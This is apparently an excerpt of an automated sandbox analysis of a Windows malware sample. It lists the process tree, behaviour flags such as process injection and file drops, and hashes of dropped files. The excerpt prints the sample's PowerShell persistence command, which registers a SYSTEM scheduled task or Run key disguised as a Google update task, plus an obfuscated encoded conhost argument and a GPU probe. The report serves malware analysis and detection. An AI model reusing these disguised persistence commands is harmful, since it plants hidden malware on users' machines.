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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4536
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:3904
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1548
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:4004
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3960 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2128
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:4892
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD56d42b6da621e8df5674e26b799c8e2aa
SHA1ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA2565ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA51253faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29
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Filesize
1KB
MD5e0ef56ac4203b34e0f302cc435a9c90d
SHA15d481231ba0274b51fa6fa3398572559ef76738e
SHA256f857c381129203dc9da6634dd686fbd89092742b3d88dcd89d6b7dd0a23ceaf2
SHA512956fb73a33b0b8bea68b431f58fb783ff852b3cb752119006f594d8df29ed17cade1411f8210dcff6ff139821f983d752b74fb5992e5cdb00ced7b92caf59e67
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5c16121c18bc6251fab0b46edac4fe368
SHA15278a8af6cc4558781df63ac5673d75ff996896b
SHA2561f06390c865a5e5d1f181fc9b340b6b625eda9aab07697fba0bef8569c3a6aae
SHA512ee16744b3fd430b9cefceb5afbf7ba71bae884b5539a613c728390bbf315f1ef320c0de43a2a7302a9624e1c5dafc4054ed534dca5695f3954abe007d288b40b
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD57fa580a6e5ef16651666239278301a67
SHA1bd4963b86e739eb3fef5cbe37fc542c644b9b9f2
SHA256fb03d88ab4e94d5256d542b790be4ddb77d7ae53d8bf63dd210b6a78d7e0ee85
SHA5127b266f5e95823da66271b0ec3b79ecf6a18e3ff65823b722889234828008ab522f3f0f40d34cbd319f5c50fc7d20dbf28a7c1477e0ea99c45fd2b1c2b2c98b77